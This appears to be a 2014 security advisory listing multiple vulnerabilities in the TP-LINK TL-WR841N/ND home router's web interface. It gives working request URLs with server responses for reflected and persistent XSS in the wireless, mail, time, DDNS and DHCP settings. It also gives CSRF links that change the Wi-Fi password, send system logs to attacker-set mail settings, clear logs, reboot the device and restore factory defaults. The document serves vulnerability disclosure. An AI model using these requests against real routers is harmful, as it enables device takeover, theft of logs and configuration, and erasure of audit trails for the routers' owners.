#Title: TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
#Date: 30.06.14
#Vendor: TP-LINK
#Affected versions: TL-WR841N / TL-WR841ND
#Tested on: Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
#Contact: smash [at] devilteam.pl
 
#1 - Reflected XSS in Wireless Settings
 
Vulnerable parameters - ssid1, ssid2, ssid3, ssid4.
 
Variables of ssid parameters are being included to wlanPara array. Because of poor filtration of those values, it is able to execute specific javascript command as shown below.
 
While system log and config is being saved as local file (http://192.168.0.1/userRpm/SystemLog.txt & http://192.168.0.1/userRpm/config.bin), it is able to hjiack both via xss.
 
Request:
http://192.168.0.1/userRpm/WlanNetworkRpm.htm?ssid1=ROUTERNAME</script><script>alert(123)</script>&ssid2=ROUTERNAME_2&ssid3=ROUTERNAME_3&ssid4=ROUTERNAME_4®ion=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save
 
Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
(...)
<SCRIPT language="javascript" type="text/javascript">
var wlanPara = new Array(
0,8,0,"ROUTERNAME</script><script>alert(123)</script>",108,101,1,5,1,1,15,2,71,0,0,0,"cript>","ROUTERNAME_3","ROUTERNAME_4",691810163,0,0,0,"","",1,"",1,1,3,3,0,1,1,36,0,0,"","","","","","","","",1,"",0,"","",1,0,0,1,0,1,0,0 );
</SCRIPT>
 
#2 - Persistent XSS & CSRF in Wireless Security Settings
 
Vulnerable parameter - pskSecret.
 
Same as above, variable of pskSecret (password) is being included in javascript array. Because of no CSRF prevention, it is able to change the password by visiting url below. pskSecret value is responsible for further password.
 
Request:
http://192.168.0.1/userRpm/WlanSecurityRpm.htm?secType=3&pskSecOpt=2&pskCipher=3&pskSecret=test&interval=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save
 
Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
 
<SCRIPT language="javascript" type="text/javascript">
var wlanPara = new Array(
8, 1, 3, "332", 1, 0, "", 1812, "", "</script><script>alert(123)</script>", 1, 0, 0, 1, 3, 0, 0, 0, 5, 0, 1, "", 1,
0,0 );
</SCRIPT>
 
#3 - Persistent XSS & CSRF in Mail Settings
 
Vulnerable parameters - FromAddr, ToAddr, SMTPAddr.
 
Reason is the same.
 
Request:
http://192.168.0.1/userRpm/AutoEmailRpm.htm?FromAddr=test%40test.com&ToAddr=test1%40test.com&SMTPAddr=</script><script>alert(123)</script>&User=&Password=&VeriPass=&Save=Save
 
Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
 
<SCRIPT language="javascript" type="text/javascript">
var autoEmailConf = new Array(
"test@test.com",
"test1@test.com",
"</script><script>alert(123)</script>",
0,
"",
0,
0,
0,
0,
0,0 );
</SCRIPT>
 
It is able to steal system logs by forcing our victim to set our mail settings via csrf, then logs will be send after visiting address below:
http://192.168.0.1/userRpm/SystemLogRpm.htm?doMailLog=2
 
#4 - Persistent XSS & CSRF in Time Settings
 
Vulnerable parameters - ntpA & ntpB.
 
Request:
http://192.168.0.1/userRpm/DateTimeCfgRpm.htm?timezone=0&month=7&day=1&year=2014&hour=2&minute=44&second=18&ntpA=</script><script>xssed<>&ntpB=&isTimeChanged=0&start_month=0&start_count=0&start_week=1&start_hour=0&end_month=0&end_count=0&end_week=1&end_hour=0&isDaylightSavingChanged=0&Save=Save
 
Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
 
<SCRIPT language="javascript" type="text/javascript">
var timeInf = new Array(
7,
1,
2014,
2,
58,
52,
0,
"</script>xssed<>",
"0.0.0.0",
2,
2,
0,
2,
10,
1,
0,
3,
0,
0,
0,0 );
</SCRIPT>
 
#5 - Persistent XSS & CSRF in Dynamic DNS settings
 
Vulnerable parameters - username, password, cliUrl.
 
Request:
http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=</script><script>alert(123)</script>&pwd=password&cliUrl=&Save=Save
 
Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
 
<SCRIPT language="javascript" type="text/javascript">
var serInf = new Array(
"</script><script>alert(123)</script>",
"password",
"",
0,
0,
3,
2,
0,
1,
0,0 );
</SCRIPT>
 
#6 - Persistent XSS & CSRF in DHCP settings
 
Vulnerable parameter - domain.
 
Request:
http://192.168.0.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=</script>xssed<>&dnsserver=0.0.0.0&dnsserver2=0.0.0.0&Save=Save
 
Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
 
<SCRIPT language="javascript" type="text/javascript">
var DHCPPara = new Array(
1,
"192.168.0.100",
"192.168.0.199",
120,
"192.168.0.1",
"</script>xssed<>",
"0.0.0.0",
"0.0.0.0",
1,
0,0 );
</SCRIPT>
 
#7 - Other CSRF's
  
 a) Clear system logs
 
http://192.168.0.1/userRpm/SystemLogRpm.htm?logType=0&logLevel=7&ClearLog=Clear+Log&selPage=1&Page=1
 
 b) Reboot device
 
http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reboot
 
 c) Factory defaults reset (admin:admin)
 
http://192.168.0.1/userRpm/RestoreDefaultCfgRpm.htm?Restorefactory=Restore
 
Actually, there is no prevention technique to avoid csrf in this one; bug's pointed above are most interesting.